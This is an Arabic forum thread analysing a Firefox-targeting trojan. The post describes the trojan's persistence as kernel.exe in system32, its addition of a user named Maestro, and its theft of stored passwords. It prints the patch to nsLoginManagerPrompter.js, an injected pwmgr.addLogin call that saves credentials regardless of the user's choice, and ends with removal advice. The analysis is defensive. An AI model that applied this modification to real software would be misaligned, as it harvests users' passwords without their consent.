• 0
net_code

تحليل تروجان الفايرفوكس الجديد

سؤال

بسم الله الرحمن الرحيم

لفت إنتباهي مؤخرا التروجان الذي يستهدف الفايرفوكس لسرقة بيانات المستخدمين و سأقوم بتحليل طريقة عمله فى هذا الموضوع بإذن الله

التروجان كأي ملف حصان طروادة آخر يدخل على الجهاز بأي طريقة سواء كان عن طريق ملف مصاب أو رسالة إلكترونية أو غيرها من الطرق

- يقوم فى البداية بنسخ نفسه إلى المجلد system32 بالإسم kernel.exe كنوع من التخفي

يقوم التروجان بتهيئة نفسه عن طريق إضافة الأداة التي يستخدمها Microsoft Internet Transfer (msinet.ocx) – و هذا يثبت أن التروجان على الأغلب مكتوب بالفيجوال بيسيك 6

- يقوم التروجان بإضافة مستخدم جديد على النظام المصاب بإسم Maestro

- يقوم بعدها التروجان بجمع الباسووردات التي تم تخزينها بالفعل سواء كان فى الفايرفوكس أو الإنترنت إكسبلورر

- بعدها يقوم بخدعته و هو التعديل على الملف nsLoginManagerPrompter.js

وهو الملف المسئول عن تنبيهات إدارة عملية حفظ كلمات المرور , فى الحالة الطبيعية إذا أدخلت كلمة مرور فى الفايرفوكس سيقوم بتنبيهك إذا كنت تريد لفايرفوكس بحفظ و تذكر كلمة المرور أم لا

يقوم التروجان بتعديل هذا ليتم تخزين الباسوورد بدون سؤالك

20101006_firefox_patchdiff_crop.jpg

يقوم بالذهاب تحديدا على السطر 835

var pwmgr = this._pwmgr;

وو ضع بعده

pwmgr.addLogin(aLogin);

و هكذا يتجاوز الحماية فلا يهم ماذا سيختار المستخدم سيقوم فايرفوكس بحفظ الباسوورد

فإذا نظرت إلى الكود قبل التعديل


The callbacks in |buttons| have a closure to access the variables
// in scope here; set one to |this._pwmgr| so we can get back to pwmgr
// without a getService() call.
var pwmgr = this._pwmgr;

var buttons = [
// "Remember" button
{
label: rememberButtonText,
accessKey: rememberButtonAccessKey,
popup: null,
callback: function(aNotificationBar, aButton) {
pwmgr.addLogin(aLogin);
}
},

// "Never for this site" button
{
label: neverButtonText,
accessKey: neverButtonAccessKey,
popup: null,
callback: function(aNotificationBar, aButton) {
pwmgr.setLoginSavingEnabled(aLogin.hostname, false);
}
},

// "Not now" button
{
label: notNowButtonText,
accessKey: notNowButtonAccessKey,
popup: null,
callback: function() { /* NOP */ }
}
];

this._showLoginNotification(aNotifyBox, “password-save”,
notificationText, buttons);

ستجد أنه يقوم بعمل مصفوفة بالإختيارات buttons و يمرر ال callback لكل إختيار و نجد أن pwmgr.addLogin(aLogin); و المسئولة عن حفظ الباسوورد موجوده فى ال callback الخاص بالإختيار الأول فقط و هو الموافقة على حفظ الباسوورد

و لكن بعد التعديل يصبح الكود هكذا


The callbacks in |buttons| have a closure to access the variables
// in scope here; set one to |this._pwmgr| so we can get back to pwmgr
// without a getService() call.
var pwmgr = this._pwmgr;

pwmgr.addLogin(aLogin);

var buttons = [
// "Remember" button
{
label: rememberButtonText,
accessKey: rememberButtonAccessKey,
popup: null,
callback: function(aNotificationBar, aButton) {
pwmgr.addLogin(aLogin);
}
},

// "Never for this site" button
{
label: neverButtonText,
accessKey: neverButtonAccessKey,
popup: null,
callback: function(aNotificationBar, aButton) {
pwmgr.setLoginSavingEnabled(aLogin.hostname, false);
}
},

// "Not now" button
{
label: notNowButtonText,
accessKey: notNowButtonAccessKey,
popup: null,
callback: function() { /* NOP */ }
}
];

this._showLoginNotification(aNotifyBox, “password-save”,
notificationText, buttons);

و عندها يقوم الفايرفوكس بإستدعاء pwmgr.addLogin(aLogin); فور الدخول للfunction أى قبل حتى أن تظر الرسالة الخاصة بتنبيه المستخدم لحفظ كلمة المرور و بهكذا لا يهم ماذا سيضغط المستخدم ففي كل الحالات سيتم تخزينها

و لكن لا أعلم هل حبا فى الشهره أم سذاجة من المبرمج لقد ترك أدلة على شخصيته الحقيقية بما فيها إيميله الشخصي مما أدى إلى الوصول إليه بسهوله عن طريق الفيس بوك أكاونت الخاص به و اتضح أنه من إيران

20101006_firefox_byline_crop.jpg

الفكرة عامة جيدة و هي إستغلال سهولة التعديل فى ملفات الفايرفوكس و تعديله بما يناسب إحتياجات المخترق بدون أن يجعل المستخدم يشعر بأي شئ

الحل المتاح حاليا : هي تثبيت نسخة جديدة من الفايرفوكس لتبديل النسخة المعدلة من nsLoginManagerPrompter.js بنسخة جديدة أو يمكنك تعديل الملف يدويا إذا كنت تعرف ماذا تفعل و طبعا إزالة التروجان من مكانه المفضل داخل ال system32

تم تعديل بواسطه net_code
7

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

3 إجابة على هذا السؤال .

  • 0

جزيت خيراً,

هل يمكنك رفع هذا الفايروس على رابط ؟ لأني سأحاول كتابة أداة للتخلص منه بشكل تلقائي :)

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

شكرا جزيلا على مجهودك أخي

بس شو إسم الفيروس هذا وهل هو مختص فقط بالفايرفوكس ؟

و لكن لا أعلم هل حبا فى الشهره أم سذاجة من المبرمج لقد ترك أدلة على شخصيته الحقيقية بما فيها إيميله الشخصي مما أدى إلى الوصول إليه بسهوله عن طريق الفيس بوك أكاونت الخاص به و اتضح أنه من إيران

خدعة.

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

موووضوع راائع..لك الشكر...ولكن نصيحة مني داائماا بالفاايرفووكس..نلتمس التحديثااات...للأصداارات الجديدة من المتصفح..

فعلاا ماأسم الفاايرووس..؟!

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

من فضلك سجل دخول لتتمكن من التعليق

ستتمكن من اضافه تعليقات بعد التسجيل



سجل دخولك الان

  • يستعرض القسم حالياً   0 members

    لا يوجد أعضاء مسجلين يشاهدون هذه الصفحة .